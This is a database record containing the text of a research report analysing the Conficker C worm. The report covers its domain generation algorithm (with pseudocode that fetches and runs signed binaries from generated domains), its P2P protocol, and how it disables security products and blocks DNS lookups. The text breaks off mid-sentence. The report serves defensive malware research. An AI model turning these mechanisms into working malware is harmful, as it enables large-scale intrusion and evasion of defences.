{
	"id": "0b05cd1f-c8b7-4845-93cb-59627e5066ea",
	"created_at": "2026-04-06T00:09:23.663285Z",
	"updated_at": "2026-04-10T03:21:44.290954Z",
	"deleted_at": null,
	"sha1_hash": "47975ad2eedddcc5dec0832c23043cd781b36bb2",
	"title": "An Analysis of Conficker C",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 437648,
	"plain_text": "An Analysis of Conficker C\r\nBy Cyber-TA\r\nArchived: 2026-04-05 12:46:52 UTC\r\n-- NOTICES --\r\nThis draft document represents an analysis in progress and is subject to\r\ncontinual enhancement, error correction, and  improvement\r\nIntroduction\r\nThis addendum provides an evolving snapshot of our understanding of the latest Conficker variant, referred to as\r\nConficker C.   The variant was brought to the attention of the Conficker Working Group when one member\r\nreported that a compromised Conficker B honeypot was updated with a new dynamically linked library (DLL).\r\nAlthough a network trace for this infection is not available, we suspect that this DLL may have propagated via\r\nConficker's Internet rendezvous point mechanism (Global Network Impact).   The infection was found on the\r\nmorning of Friday, 6 March 2009 (PST), and it was later reported that other working group members had received\r\nother DLL reinfections throughout the same day.   Since that point, multiple members have reported upgrades of\r\npreviously infected machines to this latest variant via HTTP-based Internet rendezvous points.  We believe this\r\nlatest outbreak of Conficker variant C began first spreading at roughly 6 p.m. PST, 4 March 2009 (5 March\r\nUTC).   \r\nIn this addendum report, we summarize the inner workings and practical implications of this latest malicious\r\nsoftware application produced by the Conficker developers.   In addition to the dual layers of packing and\r\nencryption used to protect A and B from reverse engineering, this latest variant also cloaks its newest code\r\nsegments, along with its latest functionality, under a significant layer of code obfuscation to further hinder binary\r\nanalysis.   Nevertheless, with a careful mixture of static and dynamic analysis, we attempt here to summarize the\r\ninternal logic of Conficker C.\r\nImplications of Variant C\r\nVariant C represents the third major revision of the Conficker malware family, which first appeared on the Internet\r\non 20 November 2008.   C distinguishes itself as a significant revision to Conficker B.  In fact, we estimate that C \r\nleaves as little as 15% of the original B code base untouched, as illustrated in Appendix 3,  A Comparative\r\nAssessment of Conficker B and C Process Images.    Whereas the recently reported B++ variant represented a\r\nmore surgical derivative of B,  C incorporates a major restructuring of B's previous thread architecture and\r\nhttp://www.csl.sri.com/users/vinod/papers/Conficker/addendumC/index.html\r\nPage 1 of 27\n\nprogram logic, including major functional additions such as a new peer-to-peer (P2P) coordination channel,  and a\r\nrevision of the domain generation algorithm (DGA).   It is clear that the Conficker authors are well informed and\r\nare tracking efforts to eliminate the previous Conficker epidemics at the host and Internet governance level.  In\r\nConficker C, they have now responded with many of their own countermeasures to thwart these latest defenses.\r\nFor example, C's latest revision of Conficker's now well-known Internet rendezvous logic may represent a direct\r\nretort to the action of the Conficker Cabal, which recently blocked all domain registrations associated with the A\r\nand B strains.   C now selects its rendezvous points from a pool of over 50,000 randomly generated domain name\r\ncandidates each day.   C further increases Conficker's top-level domain (TLD) spread from five TLDs in Conficker\r\nA, to eight TLDs in B, to 110 TLDs that must now be involved in coordination efforts to track and block C's\r\npotential DNS queries.    With this latest escalation in domain space manipulation, C not only represents a\r\nsignificant challenge to those hoping to track its census, but highlights some weaknesses in the long-term viability\r\nof how  Internet address and name space governance is conducted.\r\n  One interesting and minimally explored aspect of Conficker is its early and sophisticated adoption of binary\r\nencryption, digital signatures, and advanced hash algorithms to prevent third-party hijacking of the infected\r\npopulation.   At its core, the main purpose of Conficker is to provide the authors with a secure binary updating\r\nservice that effectively allows them instant control of millions of PCs worldwide.   Through the use of these\r\nbinary encryption methods, Conficker's authors have taken care to ensure that other groups cannot upload\r\narbitrary binaries to their infected drone population, and these protections cover all Conficker updating services:\r\nInternet rendezvous point downloads, buffer overflow re-exploitation, and the latest P2P control protocol.\r\nIn evaluating this mechanism, we find that the Conficker authors have devised a sophisticated encryption protocol\r\nthat is generally robust to direct attack.  All three crypto-systems employed by Conficker's authors (RC4, RSA,\r\nand MD-6) also have one underlying commonality.  They were all produced by Dr. Ron Rivest of MIT. \r\nFurthermore, the use of MD-6 is a particularly unusual algorithm selection, as it represents the latest encryption\r\nhash algorithm produced to date.  The discovery of MD-6 in Conficker B is indeed highly unusual given\r\nConficker's own development time line.  We date the creation of Conficker A to have occurred in October 2008,\r\nroughly the same time frame that MD-6 had been publicly released by Dr. Rivest (see\r\nhttp://groups.csail.mit.edu/cis/md6).   While A employed SHA-1, we can now confirm that MD-6 had been\r\nintegrated into Conficker B by late December 2008 (i.e., the authors chose to incorporate a hash algorithm that\r\nhad literally been made publicly available only a few weeks earlier).\r\nUnfortunately for the Conficker authors, by mid-January, Dr. Rivest’s group submitted a revised version of the\r\nMD-6 algorithm, as a buffer overflow had been discovered in its implementation.   This revision was inserted\r\nquietly, followed later by a more visible public announcement of the buffer overflow on 19 February 2009, with\r\nthe release of the Fortify report (http://blog.fortify.com/repo/Fortify-SHA-3-Report.pdf). We confirmed that this\r\nbuffer overflow was present in the Conficker B implementations.  However, we also confirmed that this buffer\r\noverflow was not exploitable as a means to take control of Conficker hosts.    Nevertheless, the Conficker\r\ndevelopers were obviously aware of these developments, as they have now repaired their MD-6 implementation in\r\nConficker C, using the identical fix made by Dr. Rivest's group.  Clearly the authors are aware of, and adept at\r\nunderstanding and incorporating, the latest cryptographic advances, and are actively monitoring the latest\r\ndevelopments in this community.\r\nhttp://www.csl.sri.com/users/vinod/papers/Conficker/addendumC/index.html\r\nPage 2 of 27\n\nOne major implication from the Conficker B and C variants, as well as other now recently emerging malware\r\nfamilies, is the sophistication with which they are able to terminate, disable, reconfigure, or blackhole native\r\noperating system (OS) and third-party security services.   We provide an in-depth analysis of Conficker's Security\r\nProduct Disablement logic, to help illustrate the comprehensive challenge that modern malware poses to security\r\nproducts, and to Microsoft's anti-malware efforts.   Conficker offers a nice illustration of the degree to which\r\nsecurity vendors are being actively challenged to not  just hunt for malicious logic, but to defend their own\r\navailability, integrity, and the network connectivity vital to providing them a continual flow of the latest malware\r\nthreat intelligence.\r\nPerhaps the most obvious frightening aspect of Conficker C is its clear potential to do harm.   Among the long\r\nhistory of malware epidemics, very few can claim sustained worldwide infiltration of multiple millions of infected\r\ndrones.   Perhaps in the best case, Conficker may be used as a sustained and profitable platform for massive\r\nInternet fraud and theft.  In the worst case, Conficker could be turned into a powerful offensive weapon for\r\nperforming concerted information warfare attacks that could disrupt not just countries, but the Internet itself.\r\n  Finally, we must also acknowledge the multiple skill sets that are revealed within the evolving design and\r\nimplementation of Conficker.  Those responsible for this outbreak have demonstrated Internet-wide programming\r\nskills, advanced cryptographic skills, custom dual-layer code packing and code obfuscation skills, and in-depth\r\nknowledge of Windows internals and security products.  They are among the first to introduce the Internet\r\nrendezvous point scheme, and have now integrated a sophisticated P2P protocol that does not require an\r\nembedded peer list.  They have continually seeded the Internet with new MD5 variants, and have adapted their\r\ncode base to address the latest attempts to thwart Conficker.   They have infiltrated government sites, military\r\nnetworks, home PCs, critical infrastructure, small networks, and universities, around the world.  Perhaps an even\r\ngreater threat than what they have done so far, is what they have learned and what they will build next.\r\nConficker C Overview\r\nFigure 1 illustrates the Conficker C program structure and logic.   When initialized, the DLL performs its setup\r\nlogic, similar to that of A and B, with extensions.   At initialization, it checks for the presence of three mutex\r\nvalues on the target host to avoid reinfection.  If absent, these three mutexes are created: 1) the mutex name\r\n\"Global\\\u003cstring\u003e-7\"; 2) the mutex name \"Global\\\u003cstring\u003e-99; and 3) a mutex named pseudo-randomly generated\r\nbased on the process ID.  The \u003cstring\u003e in the first two mutex is unique per computer name; it is calculated based\r\non the crc32 hash of the computer name and XOR'ed with a constant.  C then installs several in-memory patches\r\nto DLLs, and embeds other mechanisms to thwart security applications that would otherwise detect its presence.\r\nC modifies the host domain name service (DNS) APIs to block various security-related network connections\r\n(Domain Lookup Prevention), and installs a pseudo-patch to repair the 445/TCP vulnerability, while maintaining a\r\nbackdoor for reinfection (Local Host Patch Logic). This pseudo patch protects the host from buffer overflows by\r\nsources other than those performed by the Conficker authors or their infected peers.    \r\nLike Conficker B,  C incorporates logic to defend itself from security products that would otherwise attempt to\r\ndetect and remove it.     C spawns a security product disablement thread.  This thread disables critical host security\r\nservices, such as Windows defender, as well as Windows services that deliver security patches and software\r\nupdates.  These changes effectively prevent the victim host from receiving automated software updates. The\r\nhttp://www.csl.sri.com/users/vinod/papers/Conficker/addendumC/index.html\r\nPage 3 of 27\n\nthread disables security update notifications and deactivates safeboot mode as a future reboot option.  This first\r\nthread then spawns a new security process termination thread, which continually monitors for and kills processes\r\nwhose names match a blacklisted set of 23 security products, hot fixes, and security diagnosis tools. \r\n Figure 1:  Overview of Conficker C\r\nhttp://www.csl.sri.com/users/vinod/papers/Conficker/addendumC/index.html\r\nPage 4 of 27\n\nConficker C installs itself into the user file system and configures the registry appropriately to invoke its DLL at\r\nhost startup.   It also inserts a variety of extraneous registry keys that are subsequently unused, presumably to\r\ncloak its presence (Obfuscating C's Installation and Its Presence).   It copies itself into a randomly named DLL\r\nlocated in either the System32 directory, program files directory, or the user's temporary files folder.   It deletes all\r\nrestore points prior to its infection to thwart rollback.  C then  performs a simple validation of its DLL size, and\r\nsuicides if this check fails.  It sets the DLL's date to the same date as the local  kernel32.dll, and sets NT File\r\nSystem (NTFS) file permissions on its stored file image to prevent write and delete privileges.  Once installed, the\r\nDLL spawns a remote thread, which it attaches to the netsvcs.exe or svchost.exe process, depending on the OS\r\nversion.\r\nThe core elements of Conficker C are incorporated into two threads:  a P2P communication thread, and the\r\ndomain generation and Internet rendezvous point thread.  The first thread is embodied in a code segment that has\r\nundergone an additional layer of code obfuscation, suggesting a desire by the Conficker authors to hinder its\r\nanalysis, and thereby providing an obvious point for in depth inspection.   We describe the P2P protocol in Peer to\r\nPeer Logic.   The P2P protocol includes an ability to coordinate with peers over TCP and UDP channels, as well as\r\ndownload and run digitally signed Win32 binaries.   Incorporated with the P2P thread  is anti-tracing logic that\r\nwill kill the Conficker C process when run under a debugger.  This logic was removed for this analysis.  Conficker\r\nC also incorporates an HTTP date check function, which is discussed within Peer to Peer Logic.   \r\nFinally, C introduces a substantial modification of the DGA and query procedure, discussed in Domain Generation\r\nAlgorithm.    The DGA will be activated on 1 April 2009, and before April 1st it will enter a loop that sleeps 24\r\nhours and then rechecks the date via getlocaltime.   Prior to entering the April 1st date check, C will sleep for an\r\ninitial random interval between 30 and 90 minutes.  More specifically, this sleep interval is between 30 and 90\r\nminutes if the local hour is after 11 a.m. and before 7 a.m. If the  local time is after 8 a.m. and before 11 a.m., the\r\nsleep period will be between 2.5  and 3.5 hours.  It will then check for Internet connectivity, and if connected will\r\nenter the domain generation logic.   The next section describes this logic in greater detail.\r\nDomain Generation Algorithm\r\nThe domain generation algorithm and query procedure (Figure 2) have been significantly modified from previous\r\nversions of Conficker.  Among the potential motivations for these changes may be to address the recent actions of\r\nthe Conficker Cabal, as it has moved to block future registrations of Conficker A and B domains.  Among the key\r\nchanges, Conficker C increases the number of daily domain names generated, from 250 to 50,000 potential\r\nInternet rendezvous points.    Of these 50,000 domains, only 500 are queried, and unlike previous versions, they\r\nare queried only once per day. \r\nFurthermore, C provides significantly more filtering of the IP addresses produced by the DNS queries.  The IP\r\naddress is rejected if\r\n1. it was associated with a query that returned more than one IP address\r\n2. it is 127.0.0.1 (localhost) or other trivial address\r\n3. it matches an address with an internal blacklist (see Appendix 2 for the full blacklist)\r\nhttp://www.csl.sri.com/users/vinod/papers/Conficker/addendumC/index.html\r\nPage 5 of 27\n\n4. another DNS query had previously returned the identical IP.   Note, if an organization chooses to register\r\nand resolve multiple Conficker C domains to a single IP address, C-infected machines will not contact that\r\nIP more than one time\r\nIf none of the domains are alive and ready to serve a digitally signed payload,  C will sleep for 24 hours, and then\r\nwill generate a new list of 50,000 domains.    The algorithm produces a domain name set that is independent of\r\nConficker A and B, and will overlap these other domain sets only in a rare coincidence.    The name of each\r\ngenerated domain is 4 to 10 characters, to which a randomly selected  TLD is appended from the following list of\r\n116 suffix (mapping to 110 TLDs):\r\n[ \"ac\" , \"ae\" , \"ag\" , \"am\" , \"as\" , \"at\" , \"be\" , \"bo\" , \"bz\" , \"ca\" , \"cd\" , \"ch\" , \"cl\" , \"cn\" , \"co.cr\" , \"co.id\" , \"co.il\" ,\r\n\"co.ke\" , \"co.kr\" , \"co.nz\" , \"co.ug\" , \"co.uk\" , \"co.vi\" , \"co.za\" , \"com.ag\" , \"com.ai\" , \"com.ar\" , \"com.bo\" ,\r\n\"com.br\" , \"com.bs\" , \"com.co\" , \"com.do\" , \"com.fj\" , \"com.gh\" , \"com.gl\" , \"com.gt\" , \"com.hn\" , \"com.jm\" ,\r\n\"com.ki\" , \"com.lc\" , \"com.mt\" , \"com.mx\" , \"com.ng\" , \"com.ni\" , \"com.pa\" , \"com.pe\" , \"com.pr\" , \"com.pt\" ,\r\n\"com.py\" , \"com.sv\" , \"com.tr\" , \"com.tt\" , \"com.tw\" , \"com.ua\" , \"com.uy\" , \"com.ve\" , \"cx\" , \"cz\" , \"dj\" , \"dk\" ,\r\n\"dm\" , \"ec\" , \"es\" , \"fm\" , \"fr\" , \"gd\" , \"gr\" , \"gs\" , \"gy\" , \"hk\" , \"hn\" , \"ht\" , \"hu\" , \"ie\" , \"im\" , \"in\" , \"ir\" , \"is\" ,\r\n\"kn\" , \"kz\" , \"la\" , \"lc\" , \"li\" , \"lu\" , \"lv\" , \"ly\" , \"md\" , \"me\" , \"mn\" , \"ms\" , \"mu\" , \"mw\" , \"my\" , \"nf\" , \"nl\" , \"no\" ,\r\n\"pe\" , \"pk\" , \"pl\" , \"ps\" , \"ro\" , \"ru\" , \"sc\" , \"sg\" , \"sh\" , \"sk\" , \"su\" , \"tc\" , \"tj\" , \"tl\" , \"tn\" , \"to\" , \"tw\" , \"us\" , \"vc\" ,\r\n\"vn\" ]\r\n01:\r\n02:\r\n03:\r\n04:\r\n05:\r\n06:\r\n07:\r\n08:\r\n09:\r\n10:\r\n11:\r\n11:\r\n12:\r\n13:\r\n14:\r\n15:\r\n16:\r\n17:\r\n18:\r\n19:\r\n20:\r\n21:\r\n22:\r\nint domain_name_generation()\r\n{\r\n// local declarations\r\nhMem = 0;\r\ncheck_if_MS_DEF_PROV();\r\nget_time_from_popular_web_sites();\r\n// baidu.com, google.com, yahoo.com, ask.com, w3.org,\r\n// facebook.com, imageshack.us, rapidshare.com hMem = GlobalAlloc(0x40u, 0x30D40u);\r\n// global array - 50,000 random names\r\nif ( hMem ) \r\n{\r\n   while ( 1 )\r\n    {\r\n       counter_domains = counter;\r\n       if ( counter \u003e= 50000 )\r\n             break;size_of_name = DGA_random_function() % 6 + 4;\r\n        // size of domain name is between 4 and 10 chars\r\n        // append \".\" at the end of the name\r\n        random = DGA_random_function();\r\n        strcat(domainname, TLD-suffix[random num % 116] ); \r\n        // append 1 of 116 suffixes (from 110 TLDs) to domain name\r\n        ++counter;\r\n    }// select and query 500 domains\r\nhttp://www.csl.sri.com/users/vinod/papers/Conficker/addendumC/index.html\r\nPage 6 of 27\n\n23:\r\n24:\r\n25:\r\n26:\r\n27:\r\n28:\r\n29:\r\n30:\r\n31:\r\n32:\r\n33:\r\n34:\r\n35:\r\n36:\r\n37:\r\n38:\r\n39:\r\n40:\r\n41:\r\n42:\r\n43:\r\n44:\r\n45:\r\n46:\r\n47:\r\n48:\r\n49:\r\n50:\r\n51:\r\n52:\r\n53:\r\n54:\r\n55:\r\n56:\r\n57:\r\n58:\r\n59:\r\n60:\r\n61:\r\n62:\r\n63:\r\n64:\r\n  counter_domains = 0;\r\n  while ( !success_download \u0026\u0026 counter_domains \u003c 500 )\r\n  {\r\n      // random number modulo 50,000\r\n      one_in_50000_names = conficker_D_PRNG_function() % 50,000);\r\n      hostent = gethostbyname(one_in_50000_names);\r\n      // resolve name to a set of IP addresses\r\n      if ( hostent )\r\n      {\r\n        host_address = hostent-\u003eaddress_list; // get list of IPs\r\n        array_previously_checked_IPs[counter_domains] = host_address;if ( *host_address )\r\n        {\r\n          // skip if domain name resolves to multiple IP addresses\r\n          if ( !*(host_address + 1) )\r\n          {\r\n            // skip if IP is local host or other trivial IPs\r\n            if ( check_IP_value(host_address) ) \r\n            {\r\n              is_blacklisted_ip = check_if_IP_is_in_ranges(host_address); \r\n              // skip if IP is blacklisted\r\n              if ( ! is_blacklisted_ip )\r\n              {\r\n                found = 0;\r\n                index = 0;\r\n                while (index \u003c counter_domains )\r\n                {\r\n                  if (host_address == array_previously_checked_IPs[index] )\r\n                  {\r\n                    found = 1;\r\n                    break; // break if IP has been previously encountered \r\n                  }\r\n                  ++index;\r\n                }\r\n                // skip if IP has been previously encountered\r\n                if ( !found )\r\n                {\r\n                  snprintf(Dest, 0x80u, \"http://%s\", host_address);\r\n                  success_download = download_and_validate_file(Dest);\r\n                  // HTTP request to the domain and download valid file \r\n                }\r\n              }\r\n            }\r\nhttp://www.csl.sri.com/users/vinod/papers/Conficker/addendumC/index.html\r\nPage 7 of 27\n\n65:\r\n66:\r\n67:\r\n68:\r\n69:\r\n70:\r\n71:\r\n72:\r\n73:\r\n74:\r\n75:\r\n76:\r\n77:\r\n78:\r\n79:\r\n80:\r\n          }\r\n        }\r\n      }\r\n      Sleep(...);  // sleep small random amount\r\n      ++counter_domains;\r\n    }\r\n  }\r\n  GlobalFree(hMem);\r\n  return success_download;\r\n}\r\nFigure 2: Domain generation pseudo-code\r\nTo resolve the set of domain names to IP addresses, C uses the standard Windows gethostbyname API.  If the\r\nqueried domain produces an IP address that passes C's 4-step filtering test, it will attempt to contact the IP address\r\nusing port 80/TCP.  Here it uses a single call to the HttpQueryInfo API (i.e., an empty HTTP Get request).  If it\r\nsucceeds in connecting to an authentic Conficker rendezvous point, the server will immediately send a digitally\r\nsigned Win32 executable for the client to execute.   This variant does not  produce the well-known Conficker\r\nsearch URL string (with q= or aq=).  Rather, the empty HTTP request may prove more difficult for IDS and\r\nnetwork forensic  signatures to identify.    \r\nVariant C cycles through its domain query loop once per 24 hour period, whereas A cycled through its domain list\r\nevery 3 hours, and B cycled every 2 hours.  In runtime testing of the domain generation algorithm, infected clients\r\nmay take over 4 hours to complete the full 500-set of daily domain queries. \r\nAnother noticeable difference between variants A/B/B++ and the new C variant is that the new variant\r\nincorporates a 300-second timeout interval on the downloaded session.    If the binary take more time than this to\r\ndownload, the session is terminated.  There is also a file size limit imposed by C of 512 Kbs.   If this download\r\nsize is reached before completion, then the routine is exited.  However, even when the binary download is stopped\r\nprematurely, the digital signature is still checked.   If  C succeeds in downloading a valid Win32 executable, the \r\ndomain generation algorithm's main thread sleeps for 4 days, and then resume generating and contacting domains.\r\nOnce the file has been downloaded, C validates the digital signature of the binary, and spawns this executable via\r\nShellExecute, as discussed for Conficker A and B (Binary Download and Validation).\r\nPeer-to-Peer Logic\r\nhttp://www.csl.sri.com/users/vinod/papers/Conficker/addendumC/index.html\r\nPage 8 of 27\n\nConficker C introduces yet another mechanism to coordinate infected hosts.  This new coordination strategy\r\nemploys a P2P protocol, and the Conficker authors have taken some care to hinder its analysis through code\r\nobfuscation.  They have also obfuscated the logic that implements P2P binary download validation, HTTP date\r\nchecking, anti-debugger segments, and other logic.  In particular, within the P2P segments, the authors have\r\nattempted to impede the identification of Windows API calls, and have applied other code obfuscation to  hinder\r\nanalysis.  Appendix 5, API Recovery Table,  includes the mapping of obfuscated APIs to code offsets, which were\r\nrecovered from our analysis.\r\nAlso integrated within the broader P2P program logic are other obfuscated code segments, for example, those\r\ncode segments dedicated to establishing HTTP server communications on a Conficker-infected host, peer scan\r\nlogic, and filesharing logic for both client- and server-side sharing. \r\nP2P Setup Logic\r\nUpon entry to the P2P main thread, Conficker C dynamically computes an in-memory import table, which\r\ncontains the list of obfuscated APIs.    C next sets various registry entries and creates a dedicated working\r\ndirectory for use by the P2P service.  It will then use the standard Microsoft Crypto Library for random number\r\ngeneration. These steps are the setup for the actual P2P logic.\r\nC creates a directory in the Windows (OS dependent) standard default temporary file directory, under the name:  \r\nC:\\...\\Temp\\{%08X-%04X-%04X-%04X-%08X%04X}.  This directory is used by C's P2P service to store\r\ndownloaded payload, and as writing space for storing other information. Conficker also creates a registry entry\r\nthat corresponds to C's scratch directory:\r\nHKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\{%08X-%04X-%04X-%04X-%08X%04X}\r\nThe infected node is capable of acting like a server.  In this mode it will interact with the Conficker P2P network\r\nand distribute digitally signed files to other P2P clients.   It can operate in this mode when it has determined that it\r\nhas a locally stored binary in its P2P  temporary directory, and this file has been properly digitally signed by the\r\nConficker authors and is unaltered  (i.e., properly hashed and signed).\r\nInternet Date Check\r\nBefore proceeding to the main P2P logic, C contacts a list of known web sites to acquire the current date and time.\r\nC incorporates a set of embedded domain names, from which it selects a subset of multiple entries from this list. It\r\nperforms DNS lookups of this subset list, and it  filters each returned IP address against the same list of blacklist\r\nIP address ranges used by the domain generation algorithm (see Appendix 2).   If the IP does not match the\r\nblacklist, C connects to the site's port 80/TCP, and sends an empty URL GET header, for example\r\ncontents.192.168.1.1.40.1143-195.81.196.224.80\r\nGET / HTTP/1.1\r\nAccept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-ms-xbap, */*\r\nAccept-Language: en-US\r\nUA-CPU: x86\r\nAccept-Encoding: gzip, deflate\r\nhttp://www.csl.sri.com/users/vinod/papers/Conficker/addendumC/index.html\r\nPage 9 of 27\n\nUser-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 6.0)\r\nHost: tuenti.com\r\nConnection: Keep-Alive\r\nIn response, the site returns a standard URL header that incorporates a date and time stamp.   C then parses this\r\ninformation to set its internal system time.  The following web sites are consulted by C's Internet date check: \r\n[4shared.com, adobe.com, allegro.pl, ameblo.jp, answers.com, aweber.com, badongo.com, baidu.com, bbc.co.uk,\r\nblogfa.com, clicksor.com,comcast.net, cricinfo.com, disney.go.com, ebay.co.uk, facebook.com, fastclick.com,\r\nfriendster.com, imdb.com, megaporn.com, megaupload.com, miniclip.com, mininova.org, ning.com,\r\nphotobucket.com, rapidshare.com, reference.com, seznam.cz, soso.com, studiverzeichnis.com, tianya.cn,\r\ntorrentz.com, tribalfusion.com, tube8.com, tuenti.com, typepad.com, ucoz.ru, veoh.com, vkontakte.ru,\r\nwikimedia.org, wordpress.com, xnxx.com, yahoo.com, youtube.com]\r\nSearching for Peers\r\nConficker C peers can act simultaneously as both P2P clients and servers.  To enable this interaction, C opens 2\r\nUDP server (listen) ports and two TCP server (listen) ports.  One or two additional UDP \"client\" ports may be\r\nemployed.  File transfers can occur in both directions, i.e., clients can \"pull\" and servers can \"receive\"  files.  The\r\nP2P logic of Conficker C is spread through a set of threads to support its scanning for peers as well as the\r\nreception of digitally signed payloads. The main thread spawns a set of seven additional threads that are designed\r\nto orchestrate Conficker's P2P traffic, illustrated in Figure 3.  \r\nFigure 3:  P2P main thread overview\r\nhttp://www.csl.sri.com/users/vinod/papers/Conficker/addendumC/index.html\r\nPage 10 of 27\n\nThe main P2P thread starts by spawning five threads.  The first thread sets the system time using a call to\r\nInternetTimeToSystemTime based on a connection to one of the popular Internet portals, listed above.  Two\r\nadditional threads listen on TCP ports and serve as a mechanism for distributing the payload to other Conficker\r\npeers. If a legitimate Conficker C peer requests the payload, it is delivered by spawning a separate thread.  \r\nFinally, two additional threads coordinate outbound UDP  scanning for Conficker peers.\r\nOnce these threads are started, C enters a wait mode for any incoming connection. In response to a TCP\r\nconnection request, it spawns a thread to receive a digitally signed payload. The signature check and file\r\nvalidation are performed in a separate thread.  Immediately after spawning the thread and checking the signature,\r\nC starts a different thread, which uses UDP to advertise that it is a Conficker node that has a digitally signed\r\npayload.   When scanning, C avoids certain IP ranges (including certain assigned /8 netblocks).   The /8s not\r\nscanned by the P2P protocol are 0, 1, 2, 5, 10, 14, 23, 27, 31, 36, 37, 39, 42, 46, 49, 50, 100, 101, 102, 103, 104,\r\n105, 106, 107, 108, 109, 127, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 191, 197, and 223 - 255.\r\nAn incoming connection is first checked to validate whether the source IP address matches a pattern similar to the\r\nIP validations used by the Domain Generation Algorithm. This includes the check to ensure that an IP address\r\ndoes not belong to the list of blacklisted ranges (see Appendix 2).  These checks occur every time a random peer\r\naddress is generated inside the UDP scan thread. A similar check is used to ensure that the digitally signed payload\r\nis not delivered through the TCP channel when a remote host requests it.\r\nThere is a unique mapping from IP address to the two TCP and UDP listen ports in each host. This helps C avoid\r\nthe need for supernodes or a peer list (i.e., C requires no embedded hitlist to locate peers).  This is an important\r\ndeparture from previous malware strains, such as Storm Worm [4].  It can simply scan the Internet looking for\r\nother peers that might be listening, and from this scanning bootstrap itself into Conficker's P2P network. However,\r\nit is possible that there may in fact be an embedded seedlist as has been suggested by other researchers (neither\r\nmethod precludes the other).\r\nTCP/UDP P2P Protocol\r\nOur effort to understand and reconstruct the inner workings of the P2P protocol's messaging scheme is an ongoing\r\nactivity.  Currently, we have uncovered several interesting aspects of the P2P behavior based on observing traffic\r\nsent to TCP and UDP listen ports on infected hosts.  \r\nWith respect to the TCP-based communication channel, we have  identified certain segments of the TCP payload. \r\nIn particular,  the first two bytes appear to form a header.  They correspond to the length of the TCP payload - 2\r\n(size of the header).\r\nThe UDP-based communications channel employs datagram sizes that are variable.  In Figure 4, we plot the\r\ndistribution of the datagram sizes of the UDP PING packet, and it appears to follow a power-law distribution with\r\na minimum value of 20 bytes.  C will also produce a handful of 4-byte packets.  In some cases, the UDP activity\r\nappears to be a precursor (i.e., a setup) to the TCP activity.  There could be several reasons for this, such as the\r\nUDP channel providing negotiations such as key exchange prior to TCP data exchanges.\r\nhttp://www.csl.sri.com/users/vinod/papers/Conficker/addendumC/index.html\r\nPage 11 of 27\n\nFigure 4:  Datagram size distribution for UDP PING packets\r\nCertain byte sequences of the UDP packets seem predictable.  For example, an entropy calculation of byte 20\r\n(UDP) is shown in Figure 5.   The graph illustrates that certain values are more common than others in the UDP\r\nPING packets.  High frequency values include 0, 1, 4 (100), 5 (101), 16(10000), 17(10001), 20(10100),\r\n21(10101), 64(100000),  65(100001), 68(100100), 69(100101), 80(101000) and 81(101001), suggesting that bits\r\n0,2,5 and 6 are important.\r\nhttp://www.csl.sri.com/users/vinod/papers/Conficker/addendumC/index.html\r\nPage 12 of 27\n\nFigure 5: P2P byte sequence distribution for UDP PING packets\r\nP2P File Download Logic\r\nAmong its central functions, the P2P protocol provides the Conficker overlay network with a secure peer-based \r\nfile sharing service.   As discussed previously, drones infected with C can operate as both client and server with\r\nthe P2P network.   A drone may operate as a server when its TCP server thread detects that its local temporary\r\nstorage directory contains a local file that has been digitally signed; a separate embedded P2P public key is used\r\nmake this validation.  If a valid digitally signed file is available, the drone may distribute this file to other peers.\r\nCurrently, it appears that the TCP channel is the preferred connection through which file sharing is conducted.  A\r\nfile downloaded by a client is subject to digital signature validation, and if passed the file will be stored in the\r\nlocal temporary storage directory, thus enabling the server thread to propagate the binary during future peer\r\nexchanges.     Registry keys are modified to enable autorun of downloaded content.\r\nLocal Host Patch Logic\r\nAs part of their initialization procedure, all Conficker variants will perform in-memory alterations of  certain\r\nstandard Windows API's.   Briefly,  all versions of Conficker (A/B/B++/C) patch the NetpwPatchCanonicalize API\r\nfrom netapi32.dll,  DnsQuery from dnsapi.dll, SendTo from dnsrslvr.dll, and NtQueryInformationProcess (for\r\nhttp://www.csl.sri.com/users/vinod/papers/Conficker/addendumC/index.html\r\nPage 13 of 27\n\nthread obfuscation) from ntdll.dll.    The  allows NetpwPatchCanonicalize Conficker to protect its host from other\r\nmalware that would attempt to reexploit the MS08-067 buffer overflow, while still allowing reinfection from other\r\nConficker hosts (see Extensions to Conficker's netapi32.dll Patch for more details).    DnsQuery patching allows\r\nConficker to suppress connections to security companies (and researcher websites), that may patch and install\r\ntools that would otherwise remove Conficker from the host (see Domain Lookup Prevention). \r\nIn B++ NetpwPathCanonicalize has been patched to allow the buffer overflow to deliver a URL from which a\r\nsigned binary can be pulled.  In C, this path has been abandoned in favor of the P2P mechanism,  and the patch\r\nthat C applies is more similar to the one applied to B-infected hosts.\r\nIn C, InternetGetConnectedState has been added to the list of in-memory patched APIs. The patch consists of\r\nmaking sure that InternetGetConnectedState is invoked by Conficker code or a module that has been loaded by the\r\ncalling process. If this is not the case, the main thread exits.\r\nSecurity Product Disablement\r\nConficker C incorporates a variety of strategies to secure and defend its installation on the victim host.  To do this,\r\nC employs several measures to cloak its presence, as well as measures to kill or disable security products that\r\nwould otherwise detect its presence.   C's assault on security products begins right away, just after its mutex\r\nchecks (to detect new installs from reinfections).  At each process initialization, it performs an in-memory patch of\r\nthe host's DNS resolution services to prevent domain lookups to a variety of security product (and research) sites.  \r\nC then spawns a separate thread to halt and disable security and update services,  and then enters an infinite loop. \r\nThere, it continually searches for and  terminates active security products and patches.    These steps are\r\nperformed each time C is invoked. \r\nUpon first installation,  C installs itself and obfuscates its presence on the victim's host,. These steps allow it to\r\navoid easy diagnosis and removal by an attentive user. It deletes all restore points prior to its infection to thwart\r\nrollback, and sets NTFS file permissions on its stored file image to prevent write and delete privileges.  Most of\r\nthis logic also appeared in prior version, but here we find some extensions and updates.\r\nC also incorporates logic to disable Windows' firewall protection of certain high-order UDP and TCP ports.  These\r\nfirewall adjustments are not performed at initialization, but rather occur when C enters its network communication\r\nlogic.\r\nDomain Lookup Prevention\r\nAt each process initialization, Conficker C applies an in-memory patch to dnsapi.dll (Windows XP, 2K) or\r\ndnsrslvr.dll (Vista).   It does not patch the DLL files on the filesystem, only their in-memory instances.  These\r\nDLLs contain the standard Windows APIs for domain name resolution and caching.  Conficker modifies\r\nWindow's DNS lookup and cache services to prevent successful communications with various security product\r\nvendors and research sites.  The list of blocked domain 